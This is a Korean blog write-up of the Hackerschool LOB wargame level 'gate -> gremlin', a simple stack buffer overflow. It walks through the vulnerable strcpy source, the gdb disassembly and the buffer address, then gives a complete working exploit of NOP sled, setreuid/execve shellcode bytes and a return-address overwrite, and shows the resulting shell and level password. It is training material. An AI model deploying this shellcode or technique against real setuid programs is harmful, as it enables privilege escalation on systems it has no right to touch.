본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( gate -> gremlin ) by ORANG

LOB_gate

 

이번엔 LOB 문제풀이를 하겠습니다ㅎㅎ

해커스쿨 FTZ보다 난이도 있는 BOF 문제들로 이루어진 것 같네요

열심히 풀어봅시다!!

 

 [gate@localhost gate]$ bash2

[gate@localhost gate]$ cat gremlin.c

/*

The Lord of the BOF : The Fellowship of the BOF

- gremlin

- simple BOF

*/


int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

[gate@localhost gate]$ ls -l gremlin

-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin

 

bash2 띄우고~~ ( LOB에서는 필수로 띄워줘야 합니다!! )

gremlin.c의 소스가 보이네요

위의 주석처리된 부분이 힌트인가 봅니다. simple BOF!! 간단한 문제네요!

setreuid 함수가 없으므로, setreuid가 포함된 셸코드를 사용해야겠네요ㅎㅎ setreuid를 포함한 셸코드 만드는 법은, 프로그래밍 카테고리에서 셸코드 만드는 법 by ORANG을 읽어주세요!!

어렵지 않은 문제이고, FTZ에서 경험했던 유형이므로 바로 분석 후 메모리 구조를 그려보겠습니다

 

 (gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>: push   %ebp

0x8048431 <main+1>: mov    %esp,%ebp

0x8048433 <main+3>: sub    $0x100,%esp

0x8048439 <main+9>: cmpl   $0x1,0x8(%ebp)

0x804843d <main+13>: jg     0x8048456 <main+38>

0x804843f <main+15>: push   $0x80484e0

0x8048444 <main+20>: call   0x8048350 <printf>

0x8048449 <main+25>: add    $0x4,%esp

0x804844c <main+28>: push   $0x0

0x804844e <main+30>: call   0x8048360 <exit>

0x8048453 <main+35>: add    $0x4,%esp

0x8048456 <main+38>: mov    0xc(%ebp),%eax

0x8048459 <main+41>: add    $0x4,%eax

0x804845c <main+44>: mov    (%eax),%edx

0x804845e <main+46>: push   %edx

0x804845f <main+47>: lea    0xffffff00(%ebp),%eax

0x8048465 <main+53>: push   %eax

0x8048466 <main+54>: call   0x8048370 <strcpy>

0x804846b <main+59>: add    $0x8,%esp

0x804846e <main+62>: lea    0xffffff00(%ebp),%eax

0x8048474 <main+68>: push   %eax

0x8048475 <main+69>: push   $0x80484ec

0x804847a <main+74>: call   0x8048350 <printf>

0x804847f <main+79>: add    $0x8,%esp

0x8048482 <main+82>: leave

0x8048483 <main+83>: ret

 

main+3을 보니 0x100 (256바이트)의 메모리를 확보하는게 보입니다. dummy는 존재하지 않는군요

 

RET [4]

SFP [4]

buffer [256]

정말 단순한 구조입니다..

nop+셸코드(256+4바이트)+buffer의주소(4바이트)를 인자로 전달하여 buffer에 저장한 후에, RET의 주소를 buffer의 주소로 바꿔주면 되겠네요!!

argv[1]을 buffer에 저장하는 strcpy함수 바로 다음( main+59 )에 브레이크 포인트를 걸고 buffer의 주소를 찾아보겠습니다ㅎㅎ

 

 (gdb) b * main+59

Breakpoint 1 at 0x804846b

(gdb) r `perl -e 'print "A"x200'`

Starting program: /home/gate/gremlin `perl -e 'print "A"x200'`

/bin/bash: /home/gate/gremlin: Operation not permitted

/bin/bash: /home/gate/gremlin: Operation not permitted


Program exited with code 01.다

You can't do that without a process to debug.

 

?? 디버깅에서 실행되지 않네요

다른 유저의 setuid가 걸린 파일은 디버깅이 안되는데.. 복사하는걸 깜박했네요ㅎㅎ

tmp에 gremlin을 복사한 후, 다시 분석해보겠습니다

 

 (gdb) b * main+ 59

Breakpoint 1 at 0x804846b

(gdb) r `perl -e 'print "A"x200'`

Starting program: /home/gate/tmp/gremlin `perl -e 'print "A"x200'`


Breakpoint 1, 0x804846b in main ()

(gdb) x/100x $esp

0xbffff910: 0xbffff918 0xbffffb6c 0x41414141 0x41414141

0xbffff920: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff930: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff940: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff950: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff970: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff980: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff990: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff9a0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff9b0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff9c0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff9d0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff9e0: 0x08048100 0x0804951c 0x08048256 0x40021ca0

0xbffff9f0: 0xbffffa18 0x4000a970 0x400f855b 0x08049510

…생략…

 

buffer의 시작주소는 0xbffff918이네요ㅎㅎ

nop을 채워주고 넉넉하게 0xbffff950 정도로 공격해보겠습니다

미리 만들어두었던 41바이트 짜리 셸코드를 사용하겠습니다.

 

buffer [256] + SFP[4]          RET[4]
(nop*200 + 셸코드 41 + nop +19)   +   0xbffff950  가 전달해야할 인자가 되겠네요

 

 [gate@localhost gate]$ ./gremlin `perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x19,"\x50\xf9\xff\xbf"'`

1육1????????F??1??h//shh/bin??S????

                                   ??P????

                                          bash$

bash$ id

uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate)

bash$ my-pass

euid = 501

hello bof world

 

 

LOB를 구축한 레드햇 리눅스 6.2에서는 랜덤스택이 적용되지 않았다고 합니다.

그래서 이렇게 깔끔하게 공격에 성공했네요ㅎㅎ

gremlin으로 넘어가 보겠습니다~